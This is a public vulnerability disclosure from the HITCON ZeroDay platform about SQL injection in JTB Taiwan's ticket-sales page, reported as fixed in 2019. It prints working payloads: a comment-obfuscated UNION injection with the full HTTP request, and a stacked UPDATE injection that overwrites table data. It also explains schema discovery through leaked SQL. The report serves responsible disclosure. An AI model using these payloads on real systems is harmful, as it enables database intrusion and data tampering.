JTB台灣 售票網頁 SQL Injection - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2019-00957
  •  發信 Vendor: 世帝喜旅行社股份有限公司
  • Title: JTB台灣 售票網頁 SQL Injection
  • Introduction: 可利用本漏洞竄改票券資料。

處理狀態

目前狀態

公開
Last Update : 2019/09/14
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2019/09/01 18:17:45 : 新提交 (由 AlaRduTP 更新此狀態)
  • 2019/09/01 22:15:40 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/09/02 14:26:53 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/09/02 14:26:53 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/09/02 14:26:53 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/09/05 01:28:35 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/09/05 01:28:35 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/09/10 18:52:48 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/09/10 21:24:38 : 確認已修補 (由 AlaRduTP 更新此狀態)
  • 2019/09/14 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2019-00957
  • 通報者:alardutp37259418 (AlaRduTP)
  • 風險:中
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.jtbtaiwan.com/eWeb/cpn_jtbtaiwan/cpn_s1_1.asp

敘述

UNION Injections

透過 POST:

KEY: SEL_TRCITY
VAL: '/**/AND/**/1=2/**/UNION/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/SELECT NULL,NULL,'INJECT',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL --

POST /eWeb/cpn_jtbtaiwan/cpn_s1_1.asp HTTP/1.1
Host: www.jtbtaiwan.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 249

SEL_TRCITY='%2F**%2FAND%2F**%2F1%3D2%2F**%2FUNION%2F*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*%2FSELECT+NULL%2CNULL%2C'INJECT'%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL+--

圖片

可以替換 'INJECT' 取得資料庫部分資訊,
如:ServerName、CURRENT_USER、PERMISSIONS、local_net_address、InstanceDefaultDataPath ⋯⋯ 等等

UPDATE Injections

取得 Table 名稱

因為字串過濾,無法順利透過 Injection 取得 Table 的名稱。
這個網頁 (這個網址存在於某一個頁面或某份 .js 的註解中,這個 M_S_CPN.asp 的功能已經被某份 .js 取代)

圖片

選擇不同國家、城市、票種、分類時,網頁會做出 Request。
在 Response 中可以看到後端的 SQL 表達式。例如:

<?xml version="1.0" encoding="UTF-8" ?>
<root>
<TRCITY_CPN>
<Options Value='TYO'>
<![CDATA[東京]]> 
</Options>
</TRCITY_CPN>
<SQL> SELECT DISTINCT T.CITY_CD, T.CITY_CNM, T.CITY_ENM FROM TRCITY T  INNER JOIN TRCPN TC ON '/' + TC.MUT_CITY_CD + '/' LIKE '%/' + T.CITY_CD + '/%'  INNER JOIN TRAREA A ON A.AREA_CD = TC.AREA_CD  WHERE TC.SALE_CHK1 = 'Y' AND TC.WEB_PD = 'Y' AND GETDATE() BETWEEN TC.SALE_BDT AND TC.SALE_EDT  AND EXISTS (SELECT D.CPN_SQ FROM TRCPSUBD D WHERE D.CPN_SQ = TC.CPN_SQ AND ISNULL(D.CPN_AMS, 0) &gt; 0 AND AMRNK = '1')  AND TC.MUT_NATN_CD Like '%JP%'  ORDER BY T.CITY_ENM </SQL>

</root>

接著便可以找出 TRCPN、TAREA、TRCITY、TRCPCLS、TRCPMCLS、TRCPSUBD、TRNATN 等 Table 之間的關係,
與其(部分)Column 的名稱。

更新 Table

最後可以透過和 UNION 一樣的方式來更新表格。
例如更新洲別:

KEY: SEL_TRCITY
VAL: '/**/AND/**/1=2; UPDATE/**/TRAREA/**/SET AREA_CNM='HACKED' WHERE AREA_CD='003' --

圖片

換台好一點的 Server ,搶票開賣瞬間像被 DDoS。

等連上都已經售完。◢▆▅▄▃ 崩╰(〒皿〒)╯潰 ▃▄▅▆◣

修補建議

加強過濾。
不要把較為敏感的資訊寫入註解中、送到前端。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;